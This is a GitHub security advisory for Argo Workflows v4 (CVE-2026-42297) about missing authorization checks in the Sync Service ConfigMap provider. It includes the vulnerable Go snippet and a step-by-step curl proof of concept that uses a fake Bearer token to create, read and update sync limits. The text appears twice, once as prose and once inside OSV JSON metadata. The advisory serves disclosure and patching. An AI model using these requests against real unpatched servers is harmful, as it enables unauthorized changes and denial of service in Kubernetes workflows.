GHSA-XCHC-CQWG-G76Q
Vulnerability from github – Published: 2026-05-04 20:00 – Updated: 2026-05-13 13:39Summary
The Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.
Details
The ConfigMap-backed provider (server/sync/sync_cm.go) has no auth.CanI checks:
// sync_cm.go — UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
// NO auth.CanI check
kubeClient := auth.GetKubeClient(ctx)
configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
// ... directly creates/updates ConfigMaps
}
server/sync/sync_cm.go— lines 23-155- All four SyncService endpoints:
CreateSyncLimit,GetSyncLimit,UpdateSyncLimit,DeleteSyncLimit
PoC
Prerequisites
- Argo Server running with
--auth-mode=server - Port-forward:
kubectl port-forward -n argo svc/argo-server 2746:2746
Step 1: Create Sync Limit (Fake Token)
curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \
-H "Authorization: Bearer fake-token" \
-H "Content-Type: application/json" \
-d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'
Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}
Verify ConfigMap was created in Kubernetes:
kubectl get configmap test-sync -n default
NAME DATA AGE
test-sync 1 74s
Step 2: Read Sync Limit (Fake Token)
curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \
-H "Authorization: Bearer fake-token"
Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}
Step 3: Update Sync Limit (Fake Token)
curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \
-H "Authorization: Bearer fake-token" \
-H "Content-Type: application/json" \
-d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'
Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}
Verify the ConfigMap was actually modified:
kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'
999
Impact
An attacker with network access to the Argo Server can:
- Denial of Service — Set sync limits to
0or1, blocking all parallel workflow execution - Workflow Disruption — Modify existing sync limits to break running workflows
- Information Disclosure — Read ConfigMap data that may contain sensitive configuration
- Arbitrary ConfigMap Manipulation — Create/delete ConfigMaps in any namespace accessible to the server's service account
Related CVEs
- CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing
auth.CanIcheck) - CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v4"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42297"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T20:00:18Z",
"nvd_published_at": "2026-05-09T04:16:25Z",
"severity": "HIGH"
},
"details": "### Summary\nThe Sync Service\u0027s ConfigMap-backed provider (`server/sync/sync_cm.go`) performs **zero authorization checks** on all CRUD operations (create, read, update, delete). Any authenticated user \u2014 including those using fake Bearer tokens \u2014 can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.\n\n### Details\nThe ConfigMap-backed provider (`server/sync/sync_cm.go`) has no `auth.CanI` checks:\n\n```go\n// sync_cm.go \u2014 UNPROTECTED\nfunc (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {\n // NO auth.CanI check\n kubeClient := auth.GetKubeClient(ctx)\n configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)\n // ... directly creates/updates ConfigMaps\n}\n```\n- `server/sync/sync_cm.go` \u2014 lines 23-155\n- All four SyncService endpoints: `CreateSyncLimit`, `GetSyncLimit`, `UpdateSyncLimit`, `DeleteSyncLimit`\n\n### PoC\n### Prerequisites\n\n- Argo Server running with `--auth-mode=server`\n- Port-forward: `kubectl port-forward -n argo svc/argo-server 2746:2746`\n\n### Step 1: Create Sync Limit (Fake Token)\n\n```bash\ncurl -sk -X POST \"https://localhost:2746/api/v1/sync/default\" \\\n -H \"Authorization: Bearer fake-token\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"type\": 0, \"namespace\": \"default\", \"cmName\": \"test-sync\", \"key\": \"test-key\", \"limit\": 5}\u0027\n```\n\n**Result:** `{\"namespace\":\"default\",\"cmName\":\"test-sync\",\"key\":\"test-key\",\"limit\":5}`\n\nVerify ConfigMap was created in Kubernetes:\n\n```bash\nkubectl get configmap test-sync -n default\n```\n\n```\nNAME DATA AGE\ntest-sync 1 74s\n```\n\n### Step 2: Read Sync Limit (Fake Token)\n\n```bash\ncurl -sk \"https://localhost:2746/api/v1/sync/default/test-key?type=0\u0026cmName=test-sync\" \\\n -H \"Authorization: Bearer fake-token\"\n```\n\n**Result:** `{\"namespace\":\"default\",\"cmName\":\"test-sync\",\"key\":\"test-key\",\"limit\":5}`\n\n### Step 3: Update Sync Limit (Fake Token)\n\n```bash\ncurl -sk -X PUT \"https://localhost:2746/api/v1/sync/default/test-key\" \\\n -H \"Authorization: Bearer fake-token\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"type\": 0, \"namespace\": \"default\", \"cmName\": \"test-sync\", \"key\": \"test-key\", \"limit\": 999}\u0027\n```\n\n**Result:** `{\"namespace\":\"default\",\"cmName\":\"test-sync\",\"key\":\"test-key\",\"limit\":999}`\n\nVerify the ConfigMap was actually modified:\n\n```bash\nkubectl get configmap test-sync -n default -o jsonpath=\u0027{.data.test-key}\u0027\n```\n\n```\n999\n```\n\n### Impact\nAn attacker with network access to the Argo Server can:\n\n1. **Denial of Service** \u2014 Set sync limits to `0` or `1`, blocking all parallel workflow execution\n2. **Workflow Disruption** \u2014 Modify existing sync limits to break running workflows\n3. **Information Disclosure** \u2014 Read ConfigMap data that may contain sensitive configuration\n4. **Arbitrary ConfigMap Manipulation** \u2014 Create/delete ConfigMaps in any namespace accessible to the server\u0027s service account\n\n## Related CVEs\n\n- **CVE-2026-28229** (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints \u2014 same root cause (missing `auth.CanI` check)\n- **CVE-2024-53862** (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass \u2014 same pattern",
"id": "GHSA-xchc-cqwg-g76q",
"modified": "2026-05-13T13:39:05Z",
"published": "2026-05-04T20:00:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xchc-cqwg-g76q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42297"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/commit/09fff05e0830c14a5e36cc40597ad84881db1ab6"
},
{
"type": "PACKAGE",
"url": "https://github.com/argoproj/argo-workflows"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Argo has Missing Authorization in its Sync ConfigMap Provider"
}
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